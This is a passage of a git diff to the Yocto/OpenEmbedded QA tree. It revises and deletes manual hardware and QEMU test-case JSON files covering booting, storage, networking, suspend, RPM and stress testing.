+lrwxrwxrwx root root 6 ./var/run -> ../run
+drwxr-xr-x root root 4096 ./var/spool
+drwxrwxr-x root mail 4096 ./var/spool/mail
+lrwxrwxrwx root root 12 ./var/tmp -> volatile/tmp
+drwxr-xr-x root root 4096 ./var/volatile
diff --git a/meta/lib/oeqa/files/testresults/testresults.json b/meta/lib/oeqa/files/testresults/testresults.json
index 1a62155618..86e5e412af 100644
--- a/meta/lib/oeqa/files/testresults/testresults.json
+++ b/meta/lib/oeqa/files/testresults/testresults.json
@@ -1,5 +1,5 @@
{
- "runtime_core-image-minimal_qemuarm_20181225195701": {
+ "runtime_core-image-minimal:qemuarm_20181225195701": {
"configuration": {
"DISTRO": "poky",
"HOST_DISTRO": "ubuntu-16.04",
diff --git a/meta/lib/oeqa/manual/bsp-hw.json b/meta/lib/oeqa/manual/bsp-hw.json
index 18cec222fc..308a0807f3 100644
--- a/meta/lib/oeqa/manual/bsp-hw.json
+++ b/meta/lib/oeqa/manual/bsp-hw.json
@@ -1,32 +1,6 @@
[
{
"test": {
- "@alias": "bsps-hw.bsps-hw.rpm_-__install_dependency_package",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Get a not previously installed RPM package or build one on local machine, which should have run-time dependency.For example, \"mc\" (Midnight Commander, which is a visual file manager) should depend on \"ncurses-terminfo\". \n\n$ bitbake mc \n\n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Copy the package into a system folder (for example /home/root/rpm_packages). \n\n\n",
- "expected_results": ""
- },
- "3": {
- "action": "Run \"rpm -ivh package_name\" and check the output, for example \"rpm -ivh mc.rpm*\" should report the dependency on \"ncurses-terminfo\".\n\n\n\n",
- "expected_results": "3 . rpm command should report message when some RPM installation depends on other packages."
- }
- },
- "summary": "rpm_-__install_dependency_package"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.boot_and_install_from_USB",
"author": [
{
@@ -52,7 +26,7 @@
"expected_results": ""
},
"5": {
- "action": "Remove USB, and reboot into new installed system. \nNote: If installation was successfully completed and received this message \"\"(sdx): Volume was not properly unmounted...Please run fsck.\"\" ignore it because this was whitelisted according to bug 9652.",
+ "action": "Remove USB, and reboot into new installed system. \nNote: If installation was successfully completed and received this message \"\"(sdx): Volume was not properly unmounted...Please run fsck.\"\" ignore it because this was allowed according to bug 9652.",
"expected_results": ""
}
},
@@ -87,114 +61,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_3",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 3 by default, this is done by changing the line \n\n\nid:5:initdefault \n\nto \n\nid:3:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system",
- "expected_results": ""
- },
- "5": {
- "action": "If system ask you for a login type \"root\"",
- "expected_results": "System should boot to run level 3, showing the command prompt."
- }
- },
- "summary": "boot_from_runlevel_3"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_5",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 5 by default, this is done by changing the line \n\nid:3:initdefault \n\nto \n\nid:5:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system \nNote: The test is only for sato image.",
- "expected_results": "System should boot to runlevel 5 ."
- }
- },
- "summary": "boot_from_runlevel_5"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.shutdown_system",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": ""
- },
- "2": {
- "action": "launch terminal and run \"shutdown -h now\" or \"poweroff\"",
- "expected_results": "System can be shutdown successfully . "
- }
- },
- "summary": "shutdown_system"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.reboot_system",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": ""
- },
- "2": {
- "action": "launch terminal and run \"reboot\"",
- "expected_results": "System can reboot successfully . "
- }
- },
- "summary": "reboot_system"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.switch_among_multi_applications_and_desktop",
"author": [
{
@@ -225,178 +91,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.USB_-_mount",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot system \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Plug USB stick, it should be mount in /run/media/sd(x) If X-window system does not start and show USB device, then use the terminal to mount it, following the next steps: \na. Locate the usb stick (usually it is on /dev/sdb) \nb. Create a directory with \"mkdir stick\" (so you will have such a path as: /home/root/stick). \nc. Run the command \"mount /dev/sdb /home/root/stick\" to mount USB device on it. \n\n",
- "expected_results": "USB device should be mounted in /run/media/sd(x) \nor in /home/root/stick \n\n"
- },
- "3": {
- "action": "Then you can access USB stick (/home/root/stick) via Terminal or GUI and try various commands and actions like \"cp\", \"mv\", \"touch\" and \"rm\". Type \"dmesg\" command and check for recent mounted devices.",
- "expected_results": "Basic commands work properly. The system sends a notification in \"dmesg\" command, showing that the USB stick is accessible and the device is mounted ."
- }
- },
- "summary": "USB_-_mount"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.USB_-_read_files",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "view/copy successfully"
- },
- "2": {
- "action": "plug usb stick",
- "expected_results": ""
- },
- "3": {
- "action": "view files in usb by file browser",
- "expected_results": ""
- },
- "4": {
- "action": "copy some files from usb to local hardware",
- "expected_results": ""
- }
- },
- "summary": "USB_-_read_files"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.USB_-_umount",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "usb directory in file browser automatically missed"
- },
- "2": {
- "action": "plug usb stick",
- "expected_results": ""
- },
- "3": {
- "action": "view files in usb by file browser \n4.unplug usb",
- "expected_results": ""
- }
- },
- "summary": "USB_-_umount"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.USB_-_write_files",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "create/copy successfully"
- },
- "2": {
- "action": "plug usb stick",
- "expected_results": ""
- },
- "3": {
- "action": "create files in usb \n4.copy some files from local hardware to usb",
- "expected_results": ""
- }
- },
- "summary": "USB_-_write_files"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_static_ip_set_in_connman",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot the system and check internet connection is on . ",
- "expected_results": ""
- },
- "2": {
- "action": "Launch connmand-properties (up-right corner on desktop)",
- "expected_results": ""
- },
- "3": {
- "action": "Choose Ethernet device and set a valid static ip address for it. \nFor example, in our internal network, we can set as following: \nip address: 10.239.48.xxx \nMask: 255.255.255.0 \nGateway (Broadcast): 10.239.48.255",
- "expected_results": ""
- },
- "4": {
- "action": "Check the Network configuration with \"ifconfig\"",
- "expected_results": "Static IP was set successfully \n"
- },
- "5": {
- "action": "ping to another IP adress",
- "expected_results": "Ping works correclty\n"
- }
- },
- "summary": "ethernet_static_ip_set_in_connman"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_get_IP_in_connman_via_DHCP",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Launch connmand-properties (up-right corner on your desktop). ",
- "expected_results": ""
- },
- "2": {
- "action": "Check if Ethernet device can work properly with static IP, doing \"ping XXX.XXX.XXX.XXX\", once this is set.",
- "expected_results": "Ping executed successfully . \n\n"
- },
- "3": {
- "action": "Then choose DHCP method for Ethernet device in connmand-properties.",
- "expected_results": ""
- },
- "4": {
- "action": "Check with 'ifconfig\" and \"ping\" if Ethernet device get IP address via DHCP.",
- "expected_results": "Ethernet device can get dynamic IP address via DHCP in connmand ."
- }
- },
- "summary": "ethernet_get_IP_in_connman_via_DHCP"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.connman_offline_mode_in_connman-gnome",
"author": [
{
@@ -419,62 +113,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.X_server_can_start_up_with_runlevel_5_boot",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot up system with default runlevel \n\n",
- "expected_results": "X server can start up well and desktop display has no problem . \n\n"
- },
- "2": {
- "action": "type runlevel at command prompt",
- "expected_results": "Output:N 5"
- }
- },
- "summary": "X_server_can_start_up_with_runlevel_5_boot"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.standby",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal; check output of \"date\" and launch script \"continue.sh\"",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume (on NUC press power button)",
- "expected_results": ""
- },
- "4": {
- "action": "Check \"date\" and script \"continue.sh\"",
- "expected_results": ""
- },
- "5": {
- "action": "Check if application can work as normal \ncontinue.sh as below: \n \n#!/bin/sh \n \ni=1 \nwhile [ 0 ] \ndo \n echo $i \n sleep 1 \n i=$((i+1)) \ndone ",
- "expected_results": "Screen should resume back and script can run continuously incrementing the i's value from where it was before going to standby state. Date should be the same with the corresponding time increment."
- }
- },
- "summary": "standby"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.check_CPU_utilization_after_standby",
"author": [
{
@@ -505,88 +143,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_LAN_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume",
- "expected_results": ""
- },
- "4": {
- "action": "check ping status \n\nNote: This TC apply only for core-image-full-cmd.",
- "expected_results": "ping should always work before/after standby"
- }
- },
- "summary": "Test_if_LAN_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_usb_hid_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, resume the device by pressing the power button or using HID devices",
- "expected_results": "Devices resumes "
- },
- "4": {
- "action": "check usb mouse and keyboard",
- "expected_results": "Usb mouse and keyboard should work"
- }
- },
- "summary": "Test_if_usb_hid_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.click_terminal_icon_on_X_desktop",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "After system launch and X start up, click terminal icon on desktop",
- "expected_results": ""
- },
- "2": {
- "action": "Check if only one terminal window launched and no other problem met",
- "expected_results": "There should be no problem after launching terminal . "
- }
- },
- "summary": "click_terminal_icon_on_X_desktop"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.Add_multiple_files_in_media_player",
"author": [
{
@@ -613,136 +169,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.check_bash_in_image",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "After system is up, check if bash command exists with command \"which bash\"",
- "expected_results": "bash command should exist in image giving something as below \"/bin/bash\""
- }
- },
- "summary": "check_bash_in_image"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.MicroSD_-__mount",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "system notify that MicroSDis accessible"
- },
- "2": {
- "action": "plug MicroSD card",
- "expected_results": ""
- }
- },
- "summary": "MicroSD_-__mount"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.MicroSD_-__read_files",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "view/copy successfully"
- },
- "2": {
- "action": "plug MicroSD card",
- "expected_results": ""
- },
- "3": {
- "action": "view files inMicroSD by file browser",
- "expected_results": ""
- },
- "4": {
- "action": "copy some files fromMicroSD to local hardware",
- "expected_results": ""
- }
- },
- "summary": "MicroSD_-__read_files"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.MicroSD_-__umount",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "MicroSD in file browser automatically missed . "
- },
- "2": {
- "action": "plug MicroSD card",
- "expected_results": ""
- },
- "3": {
- "action": "view files in MicroSDby file browser",
- "expected_results": ""
- },
- "4": {
- "action": "unplug MicroSD",
- "expected_results": ""
- }
- },
- "summary": "MicroSD_-__umount"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.MicroSD_-__write_files",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": "create/copy successfully"
- },
- "2": {
- "action": "plug MicroSD card",
- "expected_results": ""
- },
- "3": {
- "action": "create files in MicroSD",
- "expected_results": ""
- },
- "4": {
- "action": "copy some files from local hardware to MicroSD",
- "expected_results": ""
- }
- },
- "summary": "MicroSD_-__write_files"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.video_-_libva_check_(ogg_video_play)",
"author": [
{
@@ -1169,62 +595,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Check_if_RTC_(Real_Time_Clock)_can_work_correctly",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Read time from RTC registers. root@localhost:/root> hwclock -r Sun Mar 22 04:05:47 1970 -0.001948 seconds ",
- "expected_results": "Can read and set the time from RTC.\n"
- },
- "2": {
- "action": "Set system current time root@localhost:/root> date 062309452008 ",
- "expected_results": ""
- },
- "3": {
- "action": "Synchronize the system current time to RTC registers root@localhost:/root> hwclock -w ",
- "expected_results": ""
- },
- "4": {
- "action": "Read time from RTC registers root@localhost:/root> hwclock -r ",
- "expected_results": ""
- },
- "5": {
- "action": "Reboot target and read time from RTC again\n",
- "expected_results": ""
- }
- },
- "summary": "Check_if_RTC_(Real_Time_Clock)_can_work_correctly"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.Check_if_target_can_support_EEPROM",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Check eeprom device exist in /sys/bus/i2c/devices/ ",
- "expected_results": "Hexdump can read data from eeprom.\n"
- },
- "2": {
- "action": "Run \"hexdump eeprom\" commandroot@mpc8315e-rdb:/sys/bus/i2c/devices/1-0051> hexdump eeprom0000000 9210 0b02 0211 0009 0b52 0108 0c00 3c000000010 6978 6930 6911 208c 7003 3c3c 00f0 8381\u2026\n",
- "expected_results": ""
- }
- },
- "summary": "Check_if_target_can_support_EEPROM"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.System_can_boot_up_via_NFS",
"author": [
{
@@ -1252,35 +622,5 @@
},
"summary": "System_can_boot_up_via_NFS"
}
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.Boot_from_JFFS2_image",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "First boot the board with NFS root. ",
- "expected_results": "The system can boot up without problem\n"
- },
- "2": {
- "action": "Install mtd-utils package. Erase the MTD partition which will be used as root: $ flash_eraseall /dev/mtd3 ",
- "expected_results": ""
- },
- "3": {
- "action": "Copy the JFFS2 image to the MTD partition: $ flashcp core-image-minimal-mpc8315e-rdb.jffs2 /dev/mtd3 ",
- "expected_results": ""
- },
- "4": {
- "action": "Then reboot the board and set up the environment in U-Boot: => setenv bootargs root=/dev/mtdblock3 rootfstype=jffs2 console=ttyS0,115200 ",
- "expected_results": ""
- }
- },
- "summary": "Boot_from_JFFS2_image"
- }
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/manual/bsp-qemu.json b/meta/lib/oeqa/manual/bsp-qemu.json
deleted file mode 100644
index cf51b6ab1c..0000000000
--- a/meta/lib/oeqa/manual/bsp-qemu.json
+++ /dev/null
@@ -1,222 +0,0 @@
-[
- {
- "test": {
- "@alias": "bsps-qemu.bsps-tools.qemu_can_be_started_with_KVM_enabled",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Build a kernel with KVM enabled \n\nIn Local.conf add \n\nQEMU_USE_KVM = \"${@ '1' if os.access('/dev/kvm', os.R_OK|os.W_OK) else '0' }\" \n\n ",
- "expected_results": ""
- },
- "2": {
- "action": "Start qemu with option \"kvm\" with runqemu \n a. If you start qemu with kvm failed, maybe it is because host not install kvm and vhost_net module. Follow below link to install them. \n b. vhost_test refer: https://wiki.yoctoproject.org/wiki/Running_an_x86_Yocto_Linux_image_under_QEMU_KVM \n c. kvm refer: https://wiki.yoctoproject.org/wiki/How_to_enable_KVM_for_Poky_qemu",
- "expected_results": ""
- },
- "3": {
- "action": "Check if qemu starts up and if kvm_intel module is used",
- "expected_results": ""
- },
- "4": {
- "action": "If kvm_intel module is not used when starting qemu, it will show 0 in \"Used by\" column when you run \"lsmod | grep kvm_intel\" ",
- "expected_results": "KVM enabled with qemu \nExecute \"lsmod | grep kvm_intel\" from your host twice, before and after you \nstart the qemu with kvm option. Before start, the number should be 0, \nafter start, the number should bigger than 0."
- }
- },
- "summary": "qemu_can_be_started_with_KVM_enabled"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-tools.Post-installation_logging",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Download the poky source and set environment \n",
- "expected_results": "The /var/log/postinstall.log should exist in the first boot. The content of this log is like below: \n\nRunning postinst /etc/rpm-postinsts/man... \nList directory to check the output log \nbin \nboot \ndev \netc \nhome \nlib \nlost+found \nmedia \nmnt \nproc \nrun \nsbin \nsys \ntmp \nusr \nvar \nList nonexist directory to check the stderr redirection log \nls: /nonexist: No such file or directory "
- },
- "2": {
- "action": "Add the following lines to a .bb file. For expample, meta/recipes-connectivity/openssh/openssh_6.2p2.bb: \n\npkg_postinst_ontarget_${PN} () { \n #!/bin/sh -e \n if [ x\"$D\" = \"x\" ]; then \n echo \"List directory to check the output log\" \n ls / \n echo \"List nonexist directory to check the stderr redirection log\" \n ls /nonexist \n else \n exit 1 \n fi \n} \n\nMake sure the feature \"debug-tweaks\" is added in conf/local.conf \n",
- "expected_results": ""
- },
- "3": {
- "action": "Add ssh-server-openssh to EXTRA_IMAGE_FEATURES in local.conf \n",
- "expected_results": ""
- },
- "4": {
- "action": "Build core-image-minimal \n",
- "expected_results": ""
- },
- "5": {
- "action": "Boot up the image and check the /var/log/postinstall.log ",
- "expected_results": ""
- }
- },
- "summary": "Post-installation_logging"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-tools.Add_user_with_cleartext_type_password_during_filesystem_construction",
- "author": [
- {
- "email": "ke.zou@windriver.com",
- "name": "ke.zou@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Download the poky source and set the environment \n\n",
- "expected_results": "No error during image building procedure. \n"
- },
- "2": {
- "action": "Add the following lines in conf/local.conf \n\nINHERIT += \"extrausers\" \n\nEXTRA_USERS_PARAMS = \"\\ \nuseradd -s /bin/sh -P 'tester3' tester3;\\ \n\" \n\nThe above settings do the following things: \na. Add a user tester3 with cleartext password 'tester3' ",
- "expected_results": "Image can boot up \n"
- },
- "3": {
- "action": "Build the image\n ",
- "expected_results": "Login with user name \"tester3\" and password \"tester3\" "
- }
- },
- "summary": "Add_user_with_cleartext_type_password_during_filesystem_construction"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-tools.rpm_-__install_dependency_package",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Get a not previously installed RPM package or build one on local machine, which should have run-time dependency.For example, \"mc\" (Midnight Commander, which is a visual file manager) should depend on \"ncurses-terminfo\". \n\n$ bitbake mc \n\n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Copy the package into a system folder (for example /home/root/rpm_packages). \n\n\n",
- "expected_results": ""
- },
- "3": {
- "action": "Run \"rpm -ivh package_name\" and check the output, for example \"rpm -ivh mc.rpm*\" should report the dependency on \"ncurses-terminfo\".\n\n\n\n",
- "expected_results": "3 . rpm command should report message when some RPM installation depends on other packages."
- }
- },
- "summary": "rpm_-__install_dependency_package"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-tools.Check_rpm_install/removal_log_file_size(auto)",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Get some rpm or other kind of installation packages. \n\n",
- "expected_results": "Steps 1- 4 (more than 2.3) \nEach file will occupy around 10MB, and there should be some method to keep rpm log in a small size. (the size of the db of RPMs must not be taking so much space) \nStep 5 (less than or equal to 2.3)\nThe size on /var/lib/rpm/ must keep around 30MB"
- },
- "2": {
- "action": "After system is up, check the size of log file named as \"log.xxxxxx\" on /var/lib/rpm/log \n\n",
- "expected_results": ""
- },
- "3": {
- "action": "After several install/removal of packages, with either of the install/removal commands (rpm/smart/zypper/dnf install/removal), check again the size of log file. \n\n",
- "expected_results": ""
- },
- "4": {
- "action": "For packages installation, there will be some database files under /var/lib/rpm/, named as \"__db.xxx\" and there will be some log files \nunder /var/lib/rpm/log, named as \"\"log.xxxxxx\"\". \n\nNote: You will only see the log.xxxx on /var/lib/rpm/log mentioned above if the poky version is minor than 2.3.For poky 2.3 or major versions this has been modified and the package RPM4 does not show the logs.xxxx. if major, follow the next step. \n\n",
- "expected_results": ""
- },
- "5": {
- "action": "Repeat steps (1 and 3) and check the size of /var/lib/rpm/ \n\nMore info: https://bugzilla.yoctoproject.org/show_bug.cgi?id=9259",
- "expected_results": ""
- }
- },
- "summary": "Check_rpm_install/removal_log_file_size"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-runtime.only_one_connmand_in_background(auto)",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot system",
- "expected_results": ""
- },
- "2": {
- "action": "Run \"ps aux |grep connmand\" or \"ps -ef | grep connmand\" or \"ps | grep connmand\"",
- "expected_results": "Connmand (connection manager, used to manage internet connections) should be shown as an active process \n\n"
- },
- "3": {
- "action": "Run command \"connmand\" to try to launch to a second connmand process",
- "expected_results": ""
- },
- "4": {
- "action": "Check, with \"ps\" connmand if a second connmand can be generated ",
- "expected_results": "There should be only one connmand process instance in background ."
- }
- },
- "summary": "only_one_connmand_in_background"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-runtime.X_server_can_start_up_with_runlevel_5_boot",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot up system with default runlevel \n\n",
- "expected_results": "X server can start up well and desktop display has no problem . \n\n"
- },
- "2": {
- "action": "type runlevel at command prompt",
- "expected_results": "Output:N 5"
- }
- },
- "summary": "X_server_can_start_up_with_runlevel_5_boot"
- }
- },
- {
- "test": {
- "@alias": "bsps-qemu.bsps-runtime.check_bash_in_image",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "After system is up, check if bash command exists with command \"which bash\"",
- "expected_results": "bash command should exist in image giving something as below \"/bin/bash\""
- }
- },
- "summary": "check_bash_in_image"
- }
- }
-]
diff --git a/meta/lib/oeqa/manual/build-appliance.json b/meta/lib/oeqa/manual/build-appliance.json
index 70f8c72c9b..82a556e93e 100644
--- a/meta/lib/oeqa/manual/build-appliance.json
+++ b/meta/lib/oeqa/manual/build-appliance.json
@@ -48,7 +48,7 @@
"expected_results": ""
},
"3": {
- "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL_append = \" acpid\"",
+ "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL:append = \" acpid\"",
"expected_results": ""
},
"4": {
diff --git a/meta/lib/oeqa/manual/compliance-test.json b/meta/lib/oeqa/manual/compliance-test.json
deleted file mode 100644
index 367a416f01..0000000000
--- a/meta/lib/oeqa/manual/compliance-test.json
+++ /dev/null
@@ -1,76 +0,0 @@
-[
- {
- "test": {
- "@alias": "compliance-test.compliance-test.stress_test_-_Genericx86-64",
- "author": [
- {
- "email": "corneliux.stoicescu@intel.com",
- "name": "corneliux.stoicescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Bootup with core-image-sato-sdk image",
- "expected_results": ""
- },
- "2": {
- "action": "Execute the crashme test with below command \n\n./opt/ltp/runltp f crashme",
- "expected_results": "The stress testing should not make the target crash. Check CPU usage and basic functionality of the system after the tests are over. "
- }
- },
- "summary": "stress_test_-_Genericx86-64"
- }
- },
- {
- "test": {
- "@alias": "compliance-test.compliance-test.stress_test_-_- crashme_-_-Beaglebone",
- "author": [
- {
- "email": "corneliux.stoicescu@intel.com",
- "name": "corneliux.stoicescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": " Get crashme from http://people.delphiforums.com/gjc/crashme.html",
- "expected_results": ""
- },
- "2": {
- "action": "Follow the setup steps on above URL, build crashme in target",
- "expected_results": ""
- },
- "3": {
- "action": " Run crashme for 24 hours",
- "expected_results": "Target should not crash with the program."
- }
- },
- "summary": "stress_test_-_crashme_-Beaglebone"
- }
- },
- {
- "test": {
- "@alias": "compliance-test.compliance-test.stress_test_-_ltp_-Beaglebone",
- "author": [
- {
- "email": "corneliux.stoicescu@intel.com",
- "name": "corneliux.stoicescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Build LTP with toolchain or in sdk image",
- "expected_results": ""
- },
- "2": {
- "action": "Copy LTP folder into target, for example, /opt/ltp. Modify script, testscripts/ltpstress.sh, set Iostat=1, NO_NETWORK=1",
- "expected_results": ""
- },
- "3": {
- "action": "cd testscripts/ && ./ltpstress.sh",
- "expected_results": "This stress case will run for 24 hours Check the result\ntarget should not crash with the program "
- }
- },
- "summary": "stress_test_-_-ltp_-Beaglebone"
- }
- }
-]
diff --git a/meta/lib/oeqa/manual/eclipse-plugin.json b/meta/lib/oeqa/manual/eclipse-plugin.json
index 9869150dcf..6c110d0656 100644
--- a/meta/lib/oeqa/manual/eclipse-plugin.json
+++ b/meta/lib/oeqa/manual/eclipse-plugin.json
@@ -44,7 +44,7 @@
"expected_results": ""
},
